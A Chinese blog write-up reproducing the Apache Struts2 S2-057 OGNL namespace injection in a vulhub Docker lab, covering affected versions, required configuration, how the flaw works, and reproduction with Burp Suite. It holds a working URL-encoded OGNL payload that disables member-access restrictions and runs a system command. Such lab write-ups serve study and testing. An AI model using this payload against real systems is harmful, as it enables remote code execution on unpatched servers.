影响范围:

  • Struts 2.3 – 2.3.34

  • Struts 2.5 – 2.5.16

漏洞类型:

OGNL表达式注入

操作系统限制:

配置要求:

  • alwaysSelectFullNamespace设置为true

  • package标签未定义namespace或使用了通配符

漏洞利用:

执行命令,可以执行各种敏感操作,例如任意文件读取,植入木马,内网探测

利用原理:

Struts2将URL路径中的namespace当作OGNL表达式,在重定向跳转时对其进行二次解析,执行敏感命令。Struts2中的URL结构通常为http://域名/命名空间/Action名.action,如果攻击者访问不存在的命名空间,且配置了alwaysSelectFullNamespace=true,那么会将攻击者注入的payload提取出来,将动态变量赋值为攻击payload,OGNL引擎解析命名空间时候执行了恶意payload

漏洞复现:

用现成的vulhub来拉取镜像

#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/struts2/s2-057
#拉取镜像
docker-compose up -d

用burpsuite抓取http://公网:8080/struts2-showcase数据包

发送到Repeater模块

将URL访问改成下面payload,即在原本基础上添加即可,这里用${(777*777)}是为了验证漏洞,下面对payload的特殊符号已经进行url编码

/struts2-showcase/%24%7B%28777%2A777%29%7D/actionChain1.action

响应码为302,点击跟随重定向

原链接出现了计算结果,执行了OGNL表达式,说明存在注入点

下面执行更加敏感的命令,替换掉上面${(777*777)}的位置

%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D

响应码302,进行重定向

出现敏感命令执行的结果

文章作者: Johan
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Johan的秘密小窝
CVE Struts2
喜欢就支持一下吧